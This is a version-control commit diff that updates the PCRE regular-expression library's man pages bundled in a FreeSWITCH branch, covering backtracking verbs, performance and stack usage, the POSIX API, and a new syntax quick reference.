+does not match. Even if the pattern is unanchored, no further attempts to find
+a match by advancing the start point take place. Once (*COMMIT) has been
+passed, \fBpcre_exec()\fP is committed to finding a match at the current
+starting point, or not at all. For example:
+.sp
+  a+(*COMMIT)b
+.sp
+This matches "xxaab" but not "aacaab". It can be thought of as a kind of
+dynamic anchor, or "I've started, so I must finish."
+.sp
+  (*PRUNE)
+.sp
+This verb causes the match to fail at the current position if the rest of the
+pattern does not match. If the pattern is unanchored, the normal "bumpalong"
+advance to the next starting character then happens. Backtracking can occur as
+usual to the left of (*PRUNE), or when matching to the right of (*PRUNE), but
+if there is no match to the right, backtracking cannot cross (*PRUNE).
+In simple cases, the use of (*PRUNE) is just an alternative to an atomic
+group or possessive quantifier, but there are some uses of (*PRUNE) that cannot
+be expressed in any other way.
+.sp
+  (*SKIP)
+.sp
+This verb is like (*PRUNE), except that if the pattern is unanchored, the
+"bumpalong" advance is not to the next character, but to the position in the
+subject where (*SKIP) was encountered. (*SKIP) signifies that whatever text
+was matched leading up to it cannot be part of a successful match. Consider:
+.sp
+  a+(*SKIP)b
+.sp
+If the subject is "aaaac...", after the first match attempt fails (starting at
+the first character in the string), the starting point skips on to start the
+next attempt at "c". Note that a possessive quantifer does not have the same
+effect in this example; although it would suppress backtracking during the
+first match attempt, the second attempt would start at the second character
+instead of skipping on to "c".
+.sp
+  (*THEN)
+.sp
+This verb causes a skip to the next alternation if the rest of the pattern does
+not match. That is, it cancels pending backtracking, but only within the
+current alternation. Its name comes from the observation that it can be used
+for a pattern-based if-then-else block:
+.sp
+  ( COND1 (*THEN) FOO | COND2 (*THEN) BAR | COND3 (*THEN) BAZ ) ...
+.sp
+If the COND1 pattern matches, FOO is tried (and possibly further items after
+the end of the group if FOO succeeds); on failure the matcher skips to the
+second alternative and tries COND2, without backtracking into COND1. If (*THEN)
+is used outside of any alternation, it acts exactly like (*PRUNE).
+.
+.
+.SH "SEE ALSO"
+.rs
+.sp
+\fBpcreapi\fP(3), \fBpcrecallout\fP(3), \fBpcrematching\fP(3), \fBpcre\fP(3).
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 11 April 2009
+Copyright (c) 1997-2009 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcreperform.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcreperform.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcreperform.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -4,13 +4,75 @@
 .SH "PCRE PERFORMANCE"
 .rs
 .sp
-Certain items that may appear in regular expression patterns are more efficient
+Two aspects of performance are discussed below: memory usage and processing
+time. The way you express your pattern as a regular expression can affect both
+of them.
+.
+.SH "MEMORY USAGE"
+.rs
+.sp
+Patterns are compiled by PCRE into a reasonably efficient byte code, so that
+most simple patterns do not use much memory. However, there is one case where
+memory usage can be unexpectedly large. When a parenthesized subpattern has a
+quantifier with a minimum greater than 1 and/or a limited maximum, the whole
+subpattern is repeated in the compiled code. For example, the pattern
+.sp
+  (abc|def){2,4}
+.sp
+is compiled as if it were
+.sp
+  (abc|def)(abc|def)((abc|def)(abc|def)?)?
+.sp
+(Technical aside: It is done this way so that backtrack points within each of
+the repetitions can be independently maintained.)
+.P
+For regular expressions whose quantifiers use only small numbers, this is not
+usually a problem. However, if the numbers are large, and particularly if such
+repetitions are nested, the memory usage can become an embarrassment. For
+example, the very simple pattern
+.sp
+  ((ab){1,1000}c){1,3}
+.sp
+uses 51K bytes when compiled. When PCRE is compiled with its default internal
+pointer size of two bytes, the size limit on a compiled pattern is 64K, and
+this is reached with the above pattern if the outer repetition is increased
+from 3 to 4. PCRE can be compiled to use larger internal pointers and thus
+handle larger compiled patterns, but it is better to try to rewrite your
+pattern to use less memory if you can.
+.P
+One way of reducing the memory usage for such patterns is to make use of PCRE's
+.\" HTML <a href="pcrepattern.html#subpatternsassubroutines">
+.\" </a>
+"subroutine"
+.\"
+facility. Re-writing the above pattern as
+.sp
+  ((ab)(?2){0,999}c)(?1){0,2}
+.sp
+reduces the memory requirements to 18K, and indeed it remains under 20K even
+with the outer repetition increased to 100. However, this pattern is not
+exactly equivalent, because the "subroutine" calls are treated as
+.\" HTML <a href="pcrepattern.html#atomicgroup">
+.\" </a>
+atomic groups
+.\"
+into which there can be no backtracking if there is a subsequent matching
+failure. Therefore, PCRE cannot do this kind of rewriting automatically.
+Furthermore, there is a noticeable loss of speed when executing the modified
+pattern. Nevertheless, if the atomic grouping is not a problem and the loss of
+speed is acceptable, this kind of rewriting will allow you to process patterns
+that PCRE cannot otherwise handle.
+.
+.SH "PROCESSING TIME"
+.rs
+.sp
+Certain items in regular expression patterns are processed more efficiently
 than others. It is more efficient to use a character class like [aeiou] than a
-set of alternatives such as (a|e|i|o|u). In general, the simplest construction
-that provides the required behaviour is usually the most efficient. Jeffrey
-Friedl's book contains a lot of useful general discussion about optimizing
-regular expressions for efficient performance. This document contains a few
-observations about PCRE.
+set of single-character alternatives such as (a|e|i|o|u). In general, the
+simplest construction that provides the required behaviour is usually the most
+efficient. Jeffrey Friedl's book contains a lot of useful general discussion
+about optimizing regular expressions for efficient performance. This document
+contains a few observations about PCRE.
 .P
 Using Unicode character properties (the \ep, \eP, and \eX escapes) is slow,
 because PCRE has to scan a structure that contains data for over fifteen
@@ -42,14 +104,15 @@
 long time to run when applied to a string that does not match. Consider the
 pattern fragment
 .sp
-  (a+)*
+  ^(a+)*
 .sp
-This can match "aaaa" in 33 different ways, and this number increases very
+This can match "aaaa" in 16 different ways, and this number increases very
 rapidly as the string gets longer. (The * repeat can match 0, 1, 2, 3, or 4
-times, and for each of those cases other than 0, the + repeats can match
+times, and for each of those cases other than 0 or 4, the + repeats can match
 different numbers of times.) When the remainder of the pattern is such that the
 entire match is going to fail, PCRE has in principle to try every possible
-variation, and this can take an extremely long time.
+variation, and this can take an extremely long time, even for relatively short
+strings.
 .P
 An optimization catches some of the more simple cases such as
 .sp
@@ -69,8 +132,22 @@
 .P
 In many cases, the solution to this kind of performance issue is to use an
 atomic group or a possessive quantifier.
-.P
-.in 0
-Last updated: 28 February 2005
-.br
-Copyright (c) 1997-2005 University of Cambridge.
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 06 March 2007
+Copyright (c) 1997-2007 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcreposix.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcreposix.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcreposix.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -7,22 +7,18 @@
 .B #include <pcreposix.h>
 .PP
 .SM
-.br
 .B int regcomp(regex_t *\fIpreg\fP, const char *\fIpattern\fP,
 .ti +5n
 .B int \fIcflags\fP);
 .PP
-.br
 .B int regexec(regex_t *\fIpreg\fP, const char *\fIstring\fP,
 .ti +5n
 .B size_t \fInmatch\fP, regmatch_t \fIpmatch\fP[], int \fIeflags\fP);
 .PP
-.br
 .B size_t regerror(int \fIerrcode\fP, const regex_t *\fIpreg\fP,
 .ti +5n
 .B char *\fIerrbuf\fP, size_t \fIerrbuf_size\fP);
 .PP
-.br
 .B void regfree(regex_t *\fIpreg\fP);
 .
 .SH DESCRIPTION
@@ -43,11 +39,11 @@
 command for linking an application that uses them. Because the POSIX functions
 call the native ones, it is also necessary to add \fB-lpcre\fP.
 .P
-I have implemented only those option bits that can be reasonably mapped to PCRE
-native options. In addition, the option REG_EXTENDED is defined with the value
-zero. This has no effect, but since programs that are written to the POSIX
-interface often use it, this makes it easier to slot in PCRE as a replacement
-library. Other POSIX options are not even defined.
+I have implemented only those POSIX option bits that can be reasonably mapped
+to PCRE native options. In addition, the option REG_EXTENDED is defined with
+the value zero. This has no effect, but since programs that are written to the
+POSIX interface often use it, this makes it easier to slot in PCRE as a
+replacement library. Other POSIX options are not even defined.
 .P
 When PCRE is called via these functions, it is only the API that is POSIX-like
 in style. The syntax and semantics of the regular expressions themselves are
@@ -161,18 +157,36 @@
 .rs
 .sp
 The function \fBregexec()\fP is called to match a compiled pattern \fIpreg\fP
-against a given \fIstring\fP, which is terminated by a zero byte, subject to
-the options in \fIeflags\fP. These can be:
+against a given \fIstring\fP, which is by default terminated by a zero byte
+(but see REG_STARTEND below), subject to the options in \fIeflags\fP. These can
+be:
 .sp
   REG_NOTBOL
 .sp
 The PCRE_NOTBOL option is set when calling the underlying PCRE matching
 function.
 .sp
+  REG_NOTEMPTY
+.sp
+The PCRE_NOTEMPTY option is set when calling the underlying PCRE matching
+function. Note that REG_NOTEMPTY is not part of the POSIX standard. However,
+setting this option can give more POSIX-like behaviour in some situations.
+.sp
   REG_NOTEOL
 .sp
 The PCRE_NOTEOL option is set when calling the underlying PCRE matching
 function.
+.sp
+  REG_STARTEND
+.sp
+The string is considered to start at \fIstring\fP + \fIpmatch[0].rm_so\fP and
+to have a terminating NUL located at \fIstring\fP + \fIpmatch[0].rm_eo\fP
+(there need not actually be a NUL at that location), regardless of the value of
+\fInmatch\fP. This is a BSD extension, compatible with but not specified by
+IEEE Standard 1003.2 (POSIX.2), and should be used with caution in software
+intended to be portable to other systems. Note that a non-zero \fIrm_so\fP does
+not imply REG_NOTBOL; REG_STARTEND affects only the location of the string, not
+how it is matched.
 .P
 If the pattern was compiled with the REG_NOSUB flag, no data about any matched
 strings is returned. The \fInmatch\fP and \fIpmatch\fP arguments of
@@ -214,13 +228,17 @@
 .SH AUTHOR
 .rs
 .sp
+.nf
 Philip Hazel
-.br
-University Computing Service,
-.br
-Cambridge CB2 3QG, England.
-.P
-.in 0
-Last updated: 16 January 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 11 March 2009
+Copyright (c) 1997-2009 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcreprecompile.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcreprecompile.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcreprecompile.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -17,7 +17,9 @@
 If you save compiled patterns to a file, you can copy them to a different host
 and run them there. This works even if the new host has the opposite endianness
 to the one on which the patterns were compiled. There may be a small
-performance penalty, but it should be insignificant.
+performance penalty, but it should be insignificant. However, compiling regular
+expressions with one version of PCRE for use with a different version is not
+guaranteed to work and may cause crashes.
 .
 .
 .SH "SAVING A COMPILED PATTERN"
@@ -115,17 +117,26 @@
 .SH "COMPATIBILITY WITH DIFFERENT PCRE RELEASES"
 .rs
 .sp
-The layout of the control block that is at the start of the data that makes up
-a compiled pattern was changed for release 5.0. If you have any saved patterns
-that were compiled with previous releases (not a facility that was previously
-advertised), you will have to recompile them for release 5.0. However, from now
-on, it should be possible to make changes in a compatible manner.
-.P
-Notwithstanding the above, if you have any saved patterns in UTF-8 mode that
-use \ep or \eP that were compiled with any release up to and including 6.4, you
-will have to recompile them for release 6.5 and above.
-.P
-.in 0
-Last updated: 01 February 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+In general, it is safest to recompile all saved patterns when you update to a
+new PCRE release, though not all updates actually require this. Recompiling is
+definitely needed for release 7.2.
+.
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 13 June 2007
+Copyright (c) 1997-2007 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcresample.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcresample.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcresample.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -59,8 +59,22 @@
   -R/usr/local/lib
 .sp
 (for example) to the compile command to get round this problem.
-.P
-.in 0
-Last updated: 09 September 2004
-.br
-Copyright (c) 1997-2004 University of Cambridge.
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 23 January 2008
+Copyright (c) 1997-2008 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcrestack.3 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcrestack.3	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcrestack.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -52,7 +52,7 @@
 required. Consider now this rewritten pattern, which matches exactly the same
 strings:
 .sp
-  ([^<]++|<(?!inet))
+  ([^<]++|<(?!inet))+
 .sp
 This uses very much less stack, because runs of characters that do not contain
 "<" are "swallowed" in one item inside the parentheses. Recursion happens only
@@ -61,6 +61,13 @@
 backtracking into the runs of non-"<" characters, but that is not related to
 stack usage.
 .P
+This example shows that one way of avoiding stack problems when matching long
+subject strings is to write repeated parenthesized subpatterns to match more
+than one character whenever possible.
+.
+.SS "Compiling PCRE to use heap instead of stack"
+.rs
+.sp
 In environments where stack memory is constrained, you might want to compile
 PCRE to use heap memory instead of stack for remembering back-up points. This
 makes it run a lot more slowly, however. Details of how to do this are given in
@@ -68,27 +75,17 @@
 .\" HREF
 \fBpcrebuild\fP
 .\"
-documentation.
-.P
-In Unix-like environments, there is not often a problem with the stack, though
-the default limit on stack size varies from system to system. Values from 8Mb
-to 64Mb are common. You can find your default limit by running the command:
+documentation. When built in this way, instead of using the stack, PCRE obtains
+and frees memory by calling the functions that are pointed to by the
+\fBpcre_stack_malloc\fP and \fBpcre_stack_free\fP variables. By default, these
+point to \fBmalloc()\fP and \fBfree()\fP, but you can replace the pointers to
+cause PCRE to use your own functions. Since the block sizes are always the
+same, and are always freed in reverse order, it may be possible to implement
+customized memory handlers that are more efficient than the standard functions.
+.
+.SS "Limiting PCRE's stack usage"
+.rs
 .sp
-  ulimit -s
-.sp
-The effect of running out of stack is often SIGSEGV, though sometimes an error
-message is given. You can normally increase the limit on stack size by code
-such as this:
-.sp
-  struct rlimit rlim;
-  getrlimit(RLIMIT_STACK, &rlim);
-  rlim.rlim_cur = 100*1024*1024;
-  setrlimit(RLIMIT_STACK, &rlim);
-.sp
-This reads the current limits (soft and hard) using \fBgetrlimit()\fP, then
-attempts to increase the soft limit to 100Mb using \fBsetrlimit()\fP. You must
-do this before calling \fBpcre_exec()\fP.
-.P
 PCRE has an internal counter that can be used to limit the depth of recursion,
 and thus cause \fBpcre_exec()\fP to give an error code before it runs out of
 stack. By default, the limit is very large, and unlikely ever to operate. It
@@ -107,9 +104,57 @@
 recursion. Thus, if you want to limit your stack usage to 8Mb, you
 should set the limit at 16000 recursions. A 64Mb stack, on the other hand, can
 support around 128000 recursions. The \fBpcretest\fP test program has a command
-line option (\fB-S\fP) that can be used to increase its stack.
-.P
-.in 0
-Last updated: 29 June 2006
-.br
-Copyright (c) 1997-2006 University of Cambridge.
+line option (\fB-S\fP) that can be used to increase the size of its stack.
+.
+.SS "Changing stack size in Unix-like systems"
+.rs
+.sp
+In Unix-like environments, there is not often a problem with the stack unless
+very long strings are involved, though the default limit on stack size varies
+from system to system. Values from 8Mb to 64Mb are common. You can find your
+default limit by running the command:
+.sp
+  ulimit -s
+.sp
+Unfortunately, the effect of running out of stack is often SIGSEGV, though
+sometimes a more explicit error message is given. You can normally increase the
+limit on stack size by code such as this:
+.sp
+  struct rlimit rlim;
+  getrlimit(RLIMIT_STACK, &rlim);
+  rlim.rlim_cur = 100*1024*1024;
+  setrlimit(RLIMIT_STACK, &rlim);
+.sp
+This reads the current limits (soft and hard) using \fBgetrlimit()\fP, then
+attempts to increase the soft limit to 100Mb using \fBsetrlimit()\fP. You must
+do this before calling \fBpcre_exec()\fP.
+.
+.SS "Changing stack size in Mac OS X"
+.rs
+.sp
+Using \fBsetrlimit()\fP, as described above, should also work on Mac OS X. It
+is also possible to set a stack size when linking a program. There is a
+discussion about stack sizes in Mac OS X at this web site:
+.\" HTML <a href="http://developer.apple.com/qa/qa2005/qa1419.html">
+.\" </a>
+http://developer.apple.com/qa/qa2005/qa1419.html.
+.\"
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 09 July 2008
+Copyright (c) 1997-2008 University of Cambridge.
+.fi

Copied: freeswitch/branches/seven/libs/pcre/doc/pcresyntax.3 (from rev 14471, freeswitch/trunk/libs/pcre/doc/pcresyntax.3) (0 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcresyntax.3	                        (rev 0)
+++ freeswitch/branches/seven/libs/pcre/doc/pcresyntax.3	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,449 @@
+.TH PCRESYNTAX 3
+.SH NAME
+PCRE - Perl-compatible regular expressions
+.SH "PCRE REGULAR EXPRESSION SYNTAX SUMMARY"
+.rs
+.sp
+The full syntax and semantics of the regular expressions that are supported by
+PCRE are described in the
+.\" HREF
+\fBpcrepattern\fP
+.\"
+documentation. This document contains just a quick-reference summary of the
+syntax.
+.
+.
+.SH "QUOTING"
+.rs
+.sp
+  \ex         where x is non-alphanumeric is a literal x
+  \eQ...\eE    treat enclosed characters as literal
+.
+.
+.SH "CHARACTERS"
+.rs
+.sp
+  \ea         alarm, that is, the BEL character (hex 07)
+  \ecx        "control-x", where x is any character
+  \ee         escape (hex 1B)
+  \ef         formfeed (hex 0C)
+  \en         newline (hex 0A)
+  \er         carriage return (hex 0D)
+  \et         tab (hex 09)
+  \eddd       character with octal code ddd, or backreference
+  \exhh       character with hex code hh
+  \ex{hhh..}  character with hex code hhh..
+.
+.
+.SH "CHARACTER TYPES"
+.rs
+.sp
+  .          any character except newline;
+               in dotall mode, any character whatsoever
+  \eC         one byte, even in UTF-8 mode (best avoided)
+  \ed         a decimal digit
+  \eD         a character that is not a decimal digit
+  \eh         a horizontal whitespace character
+  \eH         a character that is not a horizontal whitespace character
+  \ep{\fIxx\fP}     a character with the \fIxx\fP property
+  \eP{\fIxx\fP}     a character without the \fIxx\fP property
+  \eR         a newline sequence
+  \es         a whitespace character
+  \eS         a character that is not a whitespace character
+  \ev         a vertical whitespace character
+  \eV         a character that is not a vertical whitespace character
+  \ew         a "word" character
+  \eW         a "non-word" character
+  \eX         an extended Unicode sequence
+.sp
+In PCRE, \ed, \eD, \es, \eS, \ew, and \eW recognize only ASCII characters.
+.
+.
+.SH "GENERAL CATEGORY PROPERTY CODES FOR \ep and \eP"
+.rs
+.sp
+  C          Other
+  Cc         Control
+  Cf         Format
+  Cn         Unassigned
+  Co         Private use
+  Cs         Surrogate
+.sp
+  L          Letter
+  Ll         Lower case letter
+  Lm         Modifier letter
+  Lo         Other letter
+  Lt         Title case letter
+  Lu         Upper case letter
+  L&         Ll, Lu, or Lt
+.sp
+  M          Mark
+  Mc         Spacing mark
+  Me         Enclosing mark
+  Mn         Non-spacing mark
+.sp
+  N          Number
+  Nd         Decimal number
+  Nl         Letter number
+  No         Other number
+.sp
+  P          Punctuation
+  Pc         Connector punctuation
+  Pd         Dash punctuation
+  Pe         Close punctuation
+  Pf         Final punctuation
+  Pi         Initial punctuation
+  Po         Other punctuation
+  Ps         Open punctuation
+.sp
+  S          Symbol
+  Sc         Currency symbol
+  Sk         Modifier symbol
+  Sm         Mathematical symbol
+  So         Other symbol
+.sp
+  Z          Separator
+  Zl         Line separator
+  Zp         Paragraph separator
+  Zs         Space separator
+.
+.
+.SH "SCRIPT NAMES FOR \ep AND \eP"
+.rs
+.sp
+Arabic,
+Armenian,
+Balinese,
+Bengali,
+Bopomofo,
+Braille,
+Buginese,
+Buhid,
+Canadian_Aboriginal,
+Carian,
+Cham,
+Cherokee,
+Common,
+Coptic,
+Cuneiform,
+Cypriot,
+Cyrillic,
+Deseret,
+Devanagari,
+Ethiopic,
+Georgian,
+Glagolitic,
+Gothic,
+Greek,
+Gujarati,
+Gurmukhi,
+Han,
+Hangul,
+Hanunoo,
+Hebrew,
+Hiragana,
+Inherited,
+Kannada,
+Katakana,
+Kayah_Li,
+Kharoshthi,
+Khmer,
+Lao,
+Latin,
+Lepcha,
+Limbu,
+Linear_B,
+Lycian,
+Lydian,
+Malayalam,
+Mongolian,
+Myanmar,
+New_Tai_Lue,
+Nko,
+Ogham,
+Old_Italic,
+Old_Persian,
+Ol_Chiki,
+Oriya,
+Osmanya,
+Phags_Pa,
+Phoenician,
+Rejang,
+Runic,
+Saurashtra,
+Shavian,
+Sinhala,
+Sudanese,
+Syloti_Nagri,
+Syriac,
+Tagalog,
+Tagbanwa,
+Tai_Le,
+Tamil,
+Telugu,
+Thaana,
+Thai,
+Tibetan,
+Tifinagh,
+Ugaritic,
+Vai,
+Yi.
+.
+.
+.SH "CHARACTER CLASSES"
+.rs
+.sp
+  [...]       positive character class
+  [^...]      negative character class
+  [x-y]       range (can be used for hex characters)
+  [[:xxx:]]   positive POSIX named set
+  [[:^xxx:]]  negative POSIX named set
+.sp
+  alnum       alphanumeric
+  alpha       alphabetic
+  ascii       0-127
+  blank       space or tab
+  cntrl       control character
+  digit       decimal digit
+  graph       printing, excluding space
+  lower       lower case letter
+  print       printing, including space
+  punct       printing, excluding alphanumeric
+  space       whitespace
+  upper       upper case letter
+  word        same as \ew
+  xdigit      hexadecimal digit
+.sp
+In PCRE, POSIX character set names recognize only ASCII characters. You can use
+\eQ...\eE inside a character class.
+.
+.
+.SH "QUANTIFIERS"
+.rs
+.sp
+  ?           0 or 1, greedy
+  ?+          0 or 1, possessive
+  ??          0 or 1, lazy
+  *           0 or more, greedy
+  *+          0 or more, possessive
+  *?          0 or more, lazy
+  +           1 or more, greedy
+  ++          1 or more, possessive
+  +?          1 or more, lazy
+  {n}         exactly n
+  {n,m}       at least n, no more than m, greedy
+  {n,m}+      at least n, no more than m, possessive
+  {n,m}?      at least n, no more than m, lazy
+  {n,}        n or more, greedy
+  {n,}+       n or more, possessive
+  {n,}?       n or more, lazy
+.
+.
+.SH "ANCHORS AND SIMPLE ASSERTIONS"
+.rs
+.sp
+  \eb          word boundary (only ASCII letters recognized)
+  \eB          not a word boundary
+  ^           start of subject
+               also after internal newline in multiline mode
+  \eA          start of subject
+  $           end of subject
+               also before newline at end of subject
+               also before internal newline in multiline mode
+  \eZ          end of subject
+               also before newline at end of subject
+  \ez          end of subject
+  \eG          first matching position in subject
+.
+.
+.SH "MATCH POINT RESET"
+.rs
+.sp
+  \eK          reset start of match
+.
+.
+.SH "ALTERNATION"
+.rs
+.sp
+  expr|expr|expr...
+.
+.
+.SH "CAPTURING"
+.rs
+.sp
+  (...)           capturing group
+  (?<name>...)    named capturing group (Perl)
+  (?'name'...)    named capturing group (Perl)
+  (?P<name>...)   named capturing group (Python)
+  (?:...)         non-capturing group
+  (?|...)         non-capturing group; reset group numbers for
+                   capturing groups in each alternative
+.
+.
+.SH "ATOMIC GROUPS"
+.rs
+.sp
+  (?>...)         atomic, non-capturing group
+.
+.
+.
+.
+.SH "COMMENT"
+.rs
+.sp
+  (?#....)        comment (not nestable)
+.
+.
+.SH "OPTION SETTING"
+.rs
+.sp
+  (?i)            caseless
+  (?J)            allow duplicate names
+  (?m)            multiline
+  (?s)            single line (dotall)
+  (?U)            default ungreedy (lazy)
+  (?x)            extended (ignore white space)
+  (?-...)         unset option(s)
+.sp
+The following is recognized only at the start of a pattern or after one of the
+newline-setting options with similar syntax:
+.sp
+  (*UTF8)         set UTF-8 mode
+.
+.
+.SH "LOOKAHEAD AND LOOKBEHIND ASSERTIONS"
+.rs
+.sp
+  (?=...)         positive look ahead
+  (?!...)         negative look ahead
+  (?<=...)        positive look behind
+  (?<!...)        negative look behind
+.sp
+Each top-level branch of a look behind must be of a fixed length.
+.
+.
+.SH "BACKREFERENCES"
+.rs
+.sp
+  \en              reference by number (can be ambiguous)
+  \egn             reference by number
+  \eg{n}           reference by number
+  \eg{-n}          relative reference by number
+  \ek<name>        reference by name (Perl)
+  \ek'name'        reference by name (Perl)
+  \eg{name}        reference by name (Perl)
+  \ek{name}        reference by name (.NET)
+  (?P=name)       reference by name (Python)
+.
+.
+.SH "SUBROUTINE REFERENCES (POSSIBLY RECURSIVE)"
+.rs
+.sp
+  (?R)            recurse whole pattern
+  (?n)            call subpattern by absolute number
+  (?+n)           call subpattern by relative number
+  (?-n)           call subpattern by relative number
+  (?&name)        call subpattern by name (Perl)
+  (?P>name)       call subpattern by name (Python)
+  \eg<name>        call subpattern by name (Oniguruma)
+  \eg'name'        call subpattern by name (Oniguruma)
+  \eg<n>           call subpattern by absolute number (Oniguruma)
+  \eg'n'           call subpattern by absolute number (Oniguruma)
+  \eg<+n>          call subpattern by relative number (PCRE extension)
+  \eg'+n'          call subpattern by relative number (PCRE extension)
+  \eg<-n>          call subpattern by relative number (PCRE extension)
+  \eg'-n'          call subpattern by relative number (PCRE extension)
+.
+.
+.SH "CONDITIONAL PATTERNS"
+.rs
+.sp
+  (?(condition)yes-pattern)
+  (?(condition)yes-pattern|no-pattern)
+.sp
+  (?(n)...        absolute reference condition
+  (?(+n)...       relative reference condition
+  (?(-n)...       relative reference condition
+  (?(<name>)...   named reference condition (Perl)
+  (?('name')...   named reference condition (Perl)
+  (?(name)...     named reference condition (PCRE)
+  (?(R)...        overall recursion condition
+  (?(Rn)...       specific group recursion condition
+  (?(R&name)...   specific recursion condition
+  (?(DEFINE)...   define subpattern for reference
+  (?(assert)...   assertion condition
+.
+.
+.SH "BACKTRACKING CONTROL"
+.rs
+.sp
+The following act immediately they are reached:
+.sp
+  (*ACCEPT)       force successful match
+  (*FAIL)         force backtrack; synonym (*F)
+.sp
+The following act only when a subsequent match failure causes a backtrack to
+reach them. They all force a match failure, but they differ in what happens
+afterwards. Those that advance the start-of-match point do so only if the
+pattern is not anchored.
+.sp
+  (*COMMIT)       overall failure, no advance of starting point
+  (*PRUNE)        advance to next starting character
+  (*SKIP)         advance start to current matching position
+  (*THEN)         local failure, backtrack to next alternation
+.
+.
+.SH "NEWLINE CONVENTIONS"
+.rs
+.sp
+These are recognized only at the very start of the pattern or after a
+(*BSR_...) or (*UTF8) option.
+.sp
+  (*CR)           carriage return only
+  (*LF)           linefeed only
+  (*CRLF)         carriage return followed by linefeed
+  (*ANYCRLF)      all three of the above
+  (*ANY)          any Unicode newline sequence
+.
+.
+.SH "WHAT \eR MATCHES"
+.rs
+.sp
+These are recognized only at the very start of the pattern or after a
+(*...) option that sets the newline convention or UTF-8 mode.
+.sp
+  (*BSR_ANYCRLF)  CR, LF, or CRLF
+  (*BSR_UNICODE)  any Unicode newline sequence
+.
+.
+.SH "CALLOUTS"
+.rs
+.sp
+  (?C)      callout
+  (?Cn)     callout with data n
+.
+.
+.SH "SEE ALSO"
+.rs
+.sp
+\fBpcrepattern\fP(3), \fBpcreapi\fP(3), \fBpcrecallout\fP(3),
+\fBpcrematching\fP(3), \fBpcre\fP(3).
+.
+.
+.SH AUTHOR
+.rs
+.sp
+.nf
+Philip Hazel
+University Computing Service
+Cambridge CB2 3QH, England.
+.fi
+.
+.
+.SH REVISION
+.rs
+.sp
+.nf
+Last updated: 11 April 2009
+Copyright (c) 1997-2009 University of Cambridge.
+.fi

Modified: freeswitch/branches/seven/libs/pcre/doc/pcretest.1 (14471 => 14472)


--- freeswitch/branches/seven/libs/pcre/doc/pcretest.1	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/pcre/doc/pcretest.1	2009-08-09 18:53:22 UTC (rev 14472)
@@ -24,23 +24,36 @@
 .SH OPTIONS
 .rs
 .TP 10
+\fB-b\fP
+Behave as if each regex has the \fB/B\fP (show bytecode) modifier; the internal
+form is output after compilation.
+.TP 10
 \fB-C\fP
 Output the version number of the PCRE library, and all available information
 about the optional features that are included, and then exit.
 .TP 10
 \fB-d\fP
 Behave as if each regex has the \fB/D\fP (debug) modifier; the internal
-form is output after compilation.
+form and information about the compiled pattern is output after compilation;
+\fB-d\fP is equivalent to \fB-b -i\fP.
 .TP 10
 \fB-dfa\fP
 Behave as if each data line contains the \eD escape sequence; this causes the
 alternative matching function, \fBpcre_dfa_exec()\fP, to be used instead of the
 standard \fBpcre_exec()\fP function (more detail is given below).
 .TP 10
+\fB-help\fP
+Output a brief summary these options and then exit.
+.TP 10
 \fB-i\fP
 Behave as if each regex has the \fB/I\fP modifier; information about the
 compiled pattern is given after compilation.
 .TP 10
+\fB-M\fP
+Behave as if each data line contains the \eM escape sequence; this causes
+PCRE to discover the minimum MATCH_LIMIT and MATCH_LIMIT_RECURSION settings by
+calling \fBpcre_exec()\fP repeatedly with different limits.
+.TP 10
 \fB-m\fP
 Output the size of each compiled pattern after it has been compiled. This is
 equivalent to adding \fB/M\fP to each regular expression. For compatibility
@@ -48,9 +61,11 @@
 .TP 10
 \fB-o\fP \fIosize\fP
 Set the number of elements in the output vector that is used when calling
-\fBpcre_exec()\fP to be \fIosize\fP. The default value is 45, which is enough
-for 14 capturing subexpressions. The vector size can be changed for individual
